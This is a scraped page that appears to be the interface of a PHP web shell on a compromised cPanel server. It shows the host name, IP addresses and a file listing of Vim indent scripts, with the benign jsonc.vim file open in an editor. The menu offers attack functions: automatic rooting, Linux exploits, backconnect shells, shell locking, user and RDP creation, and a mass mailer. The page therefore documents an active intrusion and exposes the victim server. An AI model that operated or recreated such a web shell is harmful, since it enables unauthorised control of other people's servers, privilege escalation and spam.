Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.130.207
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim82 /
indent /
[ HOME SHELL ]
Name
Size
Permission
Action
aap.vim
265
B
-rw-r--r--
ada.vim
10.97
KB
-rw-r--r--
ant.vim
290
B
-rw-r--r--
automake.vim
243
B
-rw-r--r--
awk.vim
7.59
KB
-rw-r--r--
bash.vim
350
B
-rw-r--r--
bib.vim
346
B
-rw-r--r--
bst.vim
1.89
KB
-rw-r--r--
bzl.vim
2.86
KB
-rw-r--r--
c.vim
325
B
-rw-r--r--
cdl.vim
4.24
KB
-rw-r--r--
ch.vim
470
B
-rw-r--r--
chaiscript.vim
1.11
KB
-rw-r--r--
changelog.vim
264
B
-rw-r--r--
clojure.vim
11.29
KB
-rw-r--r--
cmake.vim
2.62
KB
-rw-r--r--
cobol.vim
8.63
KB
-rw-r--r--
config.vim
2.17
KB
-rw-r--r--
context.vim
752
B
-rw-r--r--
cpp.vim
329
B
-rw-r--r--
cs.vim
1.71
KB
-rw-r--r--
css.vim
1.77
KB
-rw-r--r--
cucumber.vim
2.62
KB
-rw-r--r--
cuda.vim
305
B
-rw-r--r--
d.vim
572
B
-rw-r--r--
dictconf.vim
337
B
-rw-r--r--
dictdconf.vim
338
B
-rw-r--r--
docbk.vim
336
B
-rw-r--r--
dosbatch.vim
1.35
KB
-rw-r--r--
dtd.vim
11.67
KB
-rw-r--r--
dtrace.vim
451
B
-rw-r--r--
dune.vim
332
B
-rw-r--r--
dylan.vim
2.71
KB
-rw-r--r--
eiffel.vim
3.24
KB
-rw-r--r--
elm.vim
3.2
KB
-rw-r--r--
erlang.vim
48.89
KB
-rw-r--r--
eruby.vim
2.95
KB
-rw-r--r--
eterm.vim
743
B
-rw-r--r--
falcon.vim
13.75
KB
-rw-r--r--
fortran.vim
7.48
KB
-rw-r--r--
framescript.vim
891
B
-rw-r--r--
gitconfig.vim
841
B
-rw-r--r--
gitolite.vim
1.25
KB
-rw-r--r--
go.vim
1.63
KB
-rw-r--r--
haml.vim
2.15
KB
-rw-r--r--
hamster.vim
1.65
KB
-rw-r--r--
hog.vim
1.85
KB
-rw-r--r--
html.vim
32.86
KB
-rw-r--r--
htmldjango.vim
273
B
-rw-r--r--
idlang.vim
1.64
KB
-rw-r--r--
ishd.vim
1.83
KB
-rw-r--r--
j.vim
1.77
KB
-rw-r--r--
java.vim
4.19
KB
-rw-r--r--
javascript.vim
15
KB
-rw-r--r--
javascriptreact.vim
109
B
-rw-r--r--
json.vim
4.42
KB
-rw-r--r--
jsonc.vim
4.62
KB
-rw-r--r--
jsp.vim
462
B
-rw-r--r--
julia.vim
15.09
KB
-rw-r--r--
ld.vim
1.82
KB
-rw-r--r--
less.vim
243
B
-rw-r--r--
lifelines.vim
638
B
-rw-r--r--
liquid.vim
1.85
KB
-rw-r--r--
lisp.vim
353
B
-rw-r--r--
logtalk.vim
1.82
KB
-rw-r--r--
lua.vim
1.88
KB
-rw-r--r--
mail.vim
355
B
-rw-r--r--
make.vim
3.48
KB
-rw-r--r--
matlab.vim
4.81
KB
-rw-r--r--
meson.vim
5.19
KB
-rw-r--r--
mf.vim
156
B
-rw-r--r--
mma.vim
2.22
KB
-rw-r--r--
mp.vim
11.06
KB
-rw-r--r--
nginx.vim
362
B
-rw-r--r--
nsis.vim
3.23
KB
-rw-r--r--
objc.vim
1.61
KB
-rw-r--r--
ocaml.vim
8.98
KB
-rw-r--r--
occam.vim
4.59
KB
-rw-r--r--
pascal.vim
5.66
KB
-rw-r--r--
perl.vim
5.77
KB
-rw-r--r--
php.vim
25.29
KB
-rw-r--r--
postscr.vim
1.67
KB
-rw-r--r--
pov.vim
2.6
KB
-rw-r--r--
prolog.vim
1.82
KB
-rw-r--r--
ps1.vim
410
B
-rw-r--r--
pyrex.vim
326
B
-rw-r--r--
python.vim
6.82
KB
-rw-r--r--
r.vim
13.71
KB
-rw-r--r--
raku.vim
3.34
KB
-rw-r--r--
raml.vim
285
B
-rw-r--r--
readline.vim
786
B
-rw-r--r--
rhelp.vim
2.77
KB
-rw-r--r--
rmd.vim
2.14
KB
-rw-r--r--
rnoweb.vim
1.06
KB
-rw-r--r--
rpl.vim
1.82
KB
-rw-r--r--
rrst.vim
1.17
KB
-rw-r--r--
rst.vim
1.78
KB
-rw-r--r--
ruby.vim
29.44
KB
-rw-r--r--
rust.vim
6.35
KB
-rw-r--r--
sas.vim
5.15
KB
-rw-r--r--
sass.vim
950
B
-rw-r--r--
scala.vim
19.2
KB
-rw-r--r--
scheme.vim
372
B
-rw-r--r--
scss.vim
191
B
-rw-r--r--
sdl.vim
2.76
KB
-rw-r--r--
sh.vim
9.04
KB
-rw-r--r--
sml.vim
6.33
KB
-rw-r--r--
sql.vim
1.18
KB
-rw-r--r--
sqlanywhere.vim
12.96
KB
-rw-r--r--
sshconfig.vim
796
B
-rw-r--r--
systemd.vim
205
B
-rw-r--r--
systemverilog.vim
8.43
KB
-rw-r--r--
tcl.vim
2.48
KB
-rw-r--r--
tcsh.vim
1.35
KB
-rw-r--r--
teraterm.vim
1.38
KB
-rw-r--r--
tex.vim
13.37
KB
-rw-r--r--
tf.vim
1.51
KB
-rw-r--r--
tilde.vim
1013
B
-rw-r--r--
treetop.vim
708
B
-rw-r--r--
typescript.vim
14.14
KB
-rw-r--r--
vb.vim
2.04
KB
-rw-r--r--
verilog.vim
7.98
KB
-rw-r--r--
vhdl.vim
14.32
KB
-rw-r--r--
vim.vim
5.63
KB
-rw-r--r--
vroom.vim
379
B
-rw-r--r--
wast.vim
458
B
-rw-r--r--
xf86conf.vim
709
B
-rw-r--r--
xhtml.vim
269
B
-rw-r--r--
xinetd.vim
1.2
KB
-rw-r--r--
xml.vim
7.6
KB
-rw-r--r--
xsd.vim
253
B
-rw-r--r--
xslt.vim
297
B
-rw-r--r--
yacc.vim
781
B
-rw-r--r--
yaml.vim
5.34
KB
-rw-r--r--
zimbu.vim
3.85
KB
-rw-r--r--
zsh.vim
411
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : jsonc.vim
" Vim indent file " Language: JSONC (JSON with Comments) " Original Author: Izhak Jakov <izhak724@gmail.com> " Acknowledgement: Based off of vim-json maintained by Eli Parra <eli@elzr.com> " https://github.com/elzr/vim-json " Last Change: 2021-07-01 " 0. Initialization {{{1 " ================= " Only load this indent file when no other was loaded. if exists("b:did_indent") finish endif let b:did_indent = 1 setlocal nosmartindent " Now, set up our indentation expression and keys that trigger it. setlocal indentexpr=GetJSONCIndent() setlocal indentkeys=0{,0},0),0[,0],!^F,o,O,e " Only define the function once. if exists("*GetJSONCIndent") finish endif let s:cpo_save = &cpo set cpo&vim " 1. Variables {{{1 " ============ let s:line_term = '\s*\%(\%(\/\/\).*\)\=$' " Regex that defines blocks. let s:block_regex = '\%({\)\s*\%(|\%([*@]\=\h\w*,\=\s*\)\%(,\s*[*@]\=\h\w*\)*|\)\=' . s:line_term " 2. Auxiliary Functions {{{1 " ====================== " Check if the character at lnum:col is inside a string. function s:IsInString(lnum, col) return synIDattr(synID(a:lnum, a:col, 1), 'name') == 'jsonString' endfunction " Find line above 'lnum' that isn't empty, or in a string. function s:PrevNonBlankNonString(lnum) let lnum = prevnonblank(a:lnum) while lnum > 0 " If the line isn't empty or in a string, end search. let line = getline(lnum) if !(s:IsInString(lnum, 1) && s:IsInString(lnum, strlen(line))) break endif let lnum = prevnonblank(lnum - 1) endwhile return lnum endfunction " Check if line 'lnum' has more opening brackets than closing ones. function s:LineHasOpeningBrackets(lnum) let open_0 = 0 let open_2 = 0 let open_4 = 0 let line = getline(a:lnum) let pos = match(line, '[][(){}]', 0) while pos != -1 let idx = stridx('(){}[]', line[pos]) if idx % 2 == 0 let open_{idx} = open_{idx} + 1 else let open_{idx - 1} = open_{idx - 1} - 1 endif let pos = match(line, '[][(){}]', pos + 1) endwhile return (open_0 > 0) . (open_2 > 0) . (open_4 > 0) endfunction function s:Match(lnum, regex) let col = match(getline(a:lnum), a:regex) + 1 return col > 0 && !s:IsInString(a:lnum, col) ? col : 0 endfunction " 3. GetJSONCIndent Function {{{1 " ========================= function GetJSONCIndent() if !exists("s:inside_comment") let s:inside_comment = 0 endif " 3.1. Setup {{{2 " ---------- " Set up variables for restoring position in file. Could use v:lnum here. let vcol = col('.') " 3.2. Work on the current line {{{2 " ----------------------------- " Get the current line. let line = getline(v:lnum) let ind = -1 if s:inside_comment == 0 " TODO iterate through all the matches in a line let col = matchend(line, '\/\*') if col > 0 && !s:IsInString(v:lnum, col) let s:inside_comment = 1 endif endif " If we're in the middle of a comment if s:inside_comment == 1 let col = matchend(line, '\*\/') if col > 0 && !s:IsInString(v:lnum, col) let s:inside_comment = 0 endif return ind endif if line =~ '^\s*//' return ind endif " If we got a closing bracket on an empty line, find its match and indent " according to it. let col = matchend(line, '^\s*[]}]') if col > 0 && !s:IsInString(v:lnum, col) call cursor(v:lnum, col) let bs = strpart('{}[]', stridx('}]', line[col - 1]) * 2, 2) let pairstart = escape(bs[0], '[') let pairend = escape(bs[1], ']') let pairline = searchpair(pairstart, '', pairend, 'bW') if pairline > 0 let ind = indent(pairline) else let ind = virtcol('.') - 1 endif return ind endif " If we are in a multi-line string, don't do anything to it. if s:IsInString(v:lnum, matchend(line, '^\s*') + 1) return indent('.') endif " 3.3. Work on the previous line. {{{2 " ------------------------------- let lnum = prevnonblank(v:lnum - 1) if lnum == 0 return 0 endif " Set up variables for current line. let line = getline(lnum) let ind = indent(lnum) " If the previous line ended with a block opening, add a level of indent. " if s:Match(lnum, s:block_regex) " return indent(lnum) + shiftwidth() " endif " If the previous line contained an opening bracket, and we are still in it, " add indent depending on the bracket type. if line =~ '[[({]' let counts = s:LineHasOpeningBrackets(lnum) if counts[0] == '1' || counts[1] == '1' || counts[2] == '1' return ind + shiftwidth() else call cursor(v:lnum, vcol) end endif " }}}2 return ind endfunction " }}}1 let &cpo = s:cpo_save unlet s:cpo_save " vim:set sw=2 sts=2 ts=8 noet:
Close